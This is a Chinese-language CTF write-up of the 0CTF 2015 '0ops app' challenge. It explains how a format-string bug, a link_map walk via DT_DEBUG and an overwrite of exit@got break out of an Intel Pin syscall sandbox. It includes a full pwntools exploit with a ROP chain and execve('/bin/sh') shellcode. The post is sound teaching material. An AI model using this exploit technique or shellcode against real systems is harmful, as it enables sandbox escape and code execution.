0CTF 0ops app

Posted by rk700 on April 25, 2015

这道题提供了一个sandbox.so,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。

具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:

$ pin.sh -injection child -t sandbox.so -- ./login

由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf

如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system,再修改返回地址。但这道题的sandbox.so有进行保护。下面是反编译得到的一部分伪代码:

function syscall_check(unsigned int, LEVEL_VM::CONTEXT*, LEVEL_CORE::SYSCALL_STANDARD, void*) {
    r13 = arg3;
    LODWORD(r12) = LODWORD(arg0);
    LODWORD(rbp) = LODWORD(arg2);
    rbx = arg1;
    rsp = rsp - 0x8;
    rax = LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx, LODWORD(arg2));
    if (rax != 0x3) { //close
            if (CPU_FLAGS & BE) { //read, write, open
                    if ((rax == 0x3c) || (rax == 0xe7)) { //exit, exit_group
                            return rax;
                    }
                    else {
                            if (rax == 0x25) { //alarm
                                    if (*(int8_t *)activated != 0x0) {
                                            rax = exit(0xffffffff);
                                    }
                                    else {
                                            *(int8_t *)activated = 0x1;
                                            rax = mprotect(activated, 0x1000, 0x1);
                                            if (LODWORD(rax) != 0x0) {
                                                    rax = exit(0xffffffff);
                                            }
                                            else {
                                                    return rax;
                                            }
                                    }
                            }
                            else {
                                    rax = activated;
                                    if (*(int8_t *)rax == 0x0) {
                                            return rax;
                                    }
                                    else {
                                            rax = exit(0xffffffff);
                                    }
                            }
                    }
            }
            else {
                    if (rax > 0x1) {
                            rax = activated;
                            if (*(int8_t *)rax != 0x0) {
                                    rax = open_check(LODWORD(r12), rbx, LODWORD(rbp), r13);
                                    if (LOBYTE(rax) == 0x0) {
                                            rax = exit(0xffffffff);
                                    }
                                    else {
                                            return rax;
                                    }
                            }
                            else {
                                    return rax;
                            }
                    }
                    else {
                            return rax;
                    }
            }
    }
    else {
            return rax;
    }
    return rax;
}

可以看到,如果有调用过alarm,那么能够进行的syscall就只有read, write, open了。而不幸的是,login在运行时有调用过alarm。所以,直接修改login的执行流程来调用systemexecve是不可能的了,我们只能通过修改sandbox.so的执行流程来调用execve。具体地,如果把sandbox.so里的exit@got修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so里执行exit,即执行我们的shellcode了。

特别的,虽然我的系统开了ASLR,但是实验发现,pinbin每次都是被加载到了固定的地址,而pinbin是有DT_DEBUG信息的:

$ readelf -d /opt/pin/intel64/bin/pinbin 

Dynamic section at offset 0x87e3e0 contains 26 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libdl.so.2]
 0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000010 (SYMBOLIC)           0x0
 0x000000000000000c (INIT)               0x3041b4488
 0x000000000000000d (FINI)               0x3045fa278
 0x0000000000000004 (HASH)               0x304001060
 0x0000000000000005 (STRTAB)             0x304039fb0
 0x0000000000000006 (SYMTAB)             0x30400c980
 0x000000000000000a (STRSZ)              392376 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
...

结合之前关于DT_DEBUG文章,我们可以遍历来获得sandbox.so在内存中的地址,进而得到sandbox.so里的exit@got的地址。具体地:

$ readelf -lW /opt/pin/intel64/bin/pinbin 

Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64

Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  PHDR           0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
  INTERP         0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R   0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
  LOAD           0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW  0x200000
  DYNAMIC        0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW  0x8
...

我们知道.dynamic会在0x304a7e3e0。所以通过不断地printf打印内存信息,遍历link_map,获得sandbox.so的地址。

此外,检查maps发现,内存中有rwx的区域的,其地址也是每次不变的,应该是pinbin引入的。所以我们可以先ROP,将shellcode写到那个rwx的区域;并修改sandbox.so中的exit@got指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret把几个寄存器的值设好,再调用login中的一个类似于readline的函数,来实现写shellcode到指定位置。

下面是具体的代码,有些乱……

#!/usr/bin/env python2

from pwn import *
import sys

if __name__ == '__main__' :
    context(arch='amd64', os='linux')
    
    ip = "127.0.0.1"
    #ip = sys.argv[1]
    conn = remote(ip, 55555)
    f = open("pl", "wb")

    def send(data):
        conn.send(data)
        f.write(data)

    payload = "guest\nguest123\n2\n" + "A"*256 + "4\n" + "%1$p,%3$p\n1234\n"

    send(payload)

    conn.recvuntil("Password: ")
    conn.recvuntil("Password: ")
    addrs = (conn.recvline(keepends=False).split(" ")[0]).split(',')

    base = int(addrs[0], 16)-0x1490
    stack = int(addrs[1], 16)
    retAddr = stack - 0x8
    print "ret addr is %s" % hex(retAddr)
    print "base is %s" % hex(base)

    addr0 = (base+0x1053) & 0xffff

    def readStr(where):
        username = "%%%dx%%40$hn--%%41$s--" % addr0
        password = p64(retAddr) + p64(where)
        send(username+'\n'+password+'\n')
        conn.recvuntil('--')
        return conn.recvuntil('--')[:-2]

    def read8(where):
        content = ''
        while len(content) < 8:
            res = readStr(where)
            content += (res + '\x00')
            where += (len(res)+1)
        return u64(content[:8].ljust(8,'\x00'))

    #iterate link_map to find the address of lib
    def findBase(dynamic, lib):
        r_debug = read8(dynamic)
        print 'r_debug is at %s' % hex(r_debug)

        link_map = read8(r_debug+8)
        print 'link_map is at %s' % hex(link_map)

        while True:
            l_name = read8(link_map+8)
            l_name_str = readStr(l_name)
            if l_name_str.endswith(lib):
                l_addr = read8(link_map)
                print '%s is at %s' % (l_name_str, hex(l_addr))
                break
            link_map = read8(link_map+24)
        return l_addr
    
    pinDynamic = 0x304a7e3e0
    sandboxBase = findBase(pinDynamic+13*16+8, 'sandbox.so')

    def write8(where, what):
        writes = {}
        writes[where] = what & 0xffff
        writes[where + 2] = (what >> 16) & 0xffff
        writes[where + 4] = (what >> 32) & 0xffff
        writes[where + 6] = (what >> 48) & 0xffff
        writes[retAddr] = addr0
    
        printed = 0
        username = ''
        password = ''
        index = 40
        for where, what in sorted(writes.items(), key=operator.itemgetter(1)):
            delta = (what - printed) & 0xffff

            if delta > 0:
                if delta < 8:
                    username += 'A' * delta
                else:
                    username += '%' + str(delta) + 'x'

            username += '%' + str(index) + '$hn'
            index += 1

            password += p64(where)
            printed += delta
        send(username+'\n'+password+'\n')


    '''
    6A25              push byte +0x25
    58                pop rax
    0F05              syscall
    '''
    # call alarm to invoke exit in sandbox
    shellcode1 = '6a25580f05'.decode('hex')


    '''
    6A3B              push byte +0x3b
    58                pop rax
    99                cdq
    52                push rdx
    EB06              jmp short 0xd
    5F                pop rdi
    4831F6            xor rsi,rsi
    0F05              syscall
    E8F5FFFFFF        call qword 0x7
    2F62696E2F7368    "/bin/sh"
    '''
    shellcode2 = '6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')
    
    rwx = 0x0304aa8080
    exitGotSandbox = sandboxBase + 0xa4e440
    #write shellcode address to exit@got in sandbox
    write8(exitGotSandbox, rwx+len(shellcode1))
    verify = read8(exitGotSandbox)
    print 'verify: %s' % hex(verify)

    # 0x1363 : pop rdi ; ret
    # 0x1361 : pop rsi ; pop r15 ; ret
    readline = base+0xcb5
    #rop: read shellcode to rwx area
    rop = p64(base+0x1363) + p64(rwx) + p64(base+0x1361) + p64(0x1234) + p64(0) + p64(readline) + p64(rwx)

    pop5ret = base + 0x135b
    username = ("%%%dx%%10$hn--" % (pop5ret & 0xffff)).ljust(16) + p64(retAddr) + rop
    send(username + '\n1234\n')
    conn.recvuntil('--')

    send(shellcode1+shellcode2+'\n')
    
    conn.interactive()
    exit(0)

write8那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。